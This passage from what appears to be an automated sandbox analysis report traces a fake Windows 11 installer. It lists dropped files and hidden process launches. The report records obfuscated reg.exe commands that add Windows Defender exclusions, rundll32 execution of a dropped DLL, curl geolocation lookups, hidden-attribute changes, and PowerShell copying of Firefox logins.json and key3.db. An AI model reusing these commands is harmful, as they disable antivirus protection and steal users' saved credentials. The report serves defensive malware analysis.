- from %APPDATA%\windows11installationassistant\icons\new blue\is-sll3e.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15.ico
- from %APPDATA%\windows11installationassistant\images\is-tqia7.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-vr1kf.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@325.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-qaad3.tmp to %APPDATA%\windows11installationassistant\icons\new blue\prev.ico
- from %APPDATA%\windows11installationassistant\images\is-466f5.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-24rku.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@250.png
- from C:\tmp\is-bbvoo.tmp to C:\tmp\pbd.dll
- from %APPDATA%\windows11installationassistant\icons\classic\is-qvboo.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-epnok.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-kjipr.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-pfmdh.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-tfaua.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d2.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-2n75h.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d1a.ico
- from C:\tmp\is-ls72k.tmp to C:\tmp\ico1.ico
- from %APPDATA%\windows11installationassistant\images\is-pdbvs.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-vfmjc.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@200.png
- from %APPDATA%\windows11installationassistant\images\is-qfav4.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-0i1nh.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-ckaqa.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-l1qb2.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-2pf2n.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@200.png
- from %APPDATA%\windows11installationassistant\images\is-88t4r.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@175.png
- from %APPDATA%\windows11installationassistant\images\is-5vhub.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@150.png
- from %APPDATA%\windows11installationassistant\images\is-hjvp3.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@125.png
- from %APPDATA%\windows11installationassistant\images\is-tav1f.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@100.png
- from %APPDATA%\windows11installationassistant\images\is-d06qq.tmp to %APPDATA%\windows11installationassistant\images\createfence@200.png
- from %APPDATA%\windows11installationassistant\images\is-7ajsu.tmp to %APPDATA%\windows11installationassistant\images\createfence@175.png
- from %APPDATA%\windows11installationassistant\images\is-3fgq6.tmp to %APPDATA%\windows11installationassistant\images\createfence@150.png
- from %APPDATA%\windows11installationassistant\images\is-fbg0m.tmp to %APPDATA%\windows11installationassistant\images\createfence@125.png
- from %TEMP%\is-kuki3.tmp\temp\is-n71dl.tmp to %TEMP%\is-kuki3.tmp\temp\r.exe
- from %APPDATA%\windows11installationassistant\images\is-fpbu3.tmp to %APPDATA%\windows11installationassistant\images\createfence@100.png
- from %APPDATA%\windows11installationassistant\images\is-6mpbr.tmp to %APPDATA%\windows11installationassistant\images\closeicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-umapk.tmp to %APPDATA%\windows11installationassistant\images\closeicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-t96lk.tmp to %APPDATA%\windows11installationassistant\images\closeicon@100.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-7olpg.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9a.ico
- from %APPDATA%\windows11installationassistant\images\is-2lnvj.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets@100.png
Substitutes the following files
- %TEMP%\is-kuki3.tmp\temp\.cmd
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'MPWClass' WindowName: ''
Creates and executes the following
- '%TEMP%\is-doip1.tmp\<File name>.tmp' /SL5="$D00E6,18788298,203776,<Full path to file>"
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /TI/ /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /TI/ /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /TI/ /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '%APPDATA%\windows11installationassistant\windows11instaiiation.scr'
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '%TEMP%\is-kuki3.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '%TEMP%\is-a7stb.tmp\<File name>.tmp' /SL5="$E00E6,18788298,203776,<Full path to file>" /verysilent /sp-
- '<Full path to file>' /verysilent /sp-' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f' (with hidden window)
- '%APPDATA%\windows11installationassistant\windows11instaiiation.scr' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-KUKI3.tmp\temp\.cmd""' (with hidden window)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"' (with hidden window)
- '<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F' (with hidden window)
- '%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\0sddoccu71187448.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\v23j...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby
- '<SYSTEM32>\rundll32.exe' C:\tmp\pbd.dll, Uaby
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-KUKI3.tmp\temp\.cmd""
- '<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%WINDIR%\syswow64\cmd.exe' /c cUrL -s ipINFO.io/Ip
- '%WINDIR%\syswow64\cmd.exe' /c cuRL -s IPINfo.Io/city
- '%WINDIR%\syswow64\cmd.exe' /c cUrl -s IPiNfo.io/country
- '<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%WINDIR%\syswow64\attrib.exe' +s +H %APPDATA%\windows11installationassistant\.cmD
- '%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\windows11installationassistant\.vbs
- '<SYSTEM32>\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
- '%WINDIR%\syswow64\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\0sddoccu71187448.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\v23j...
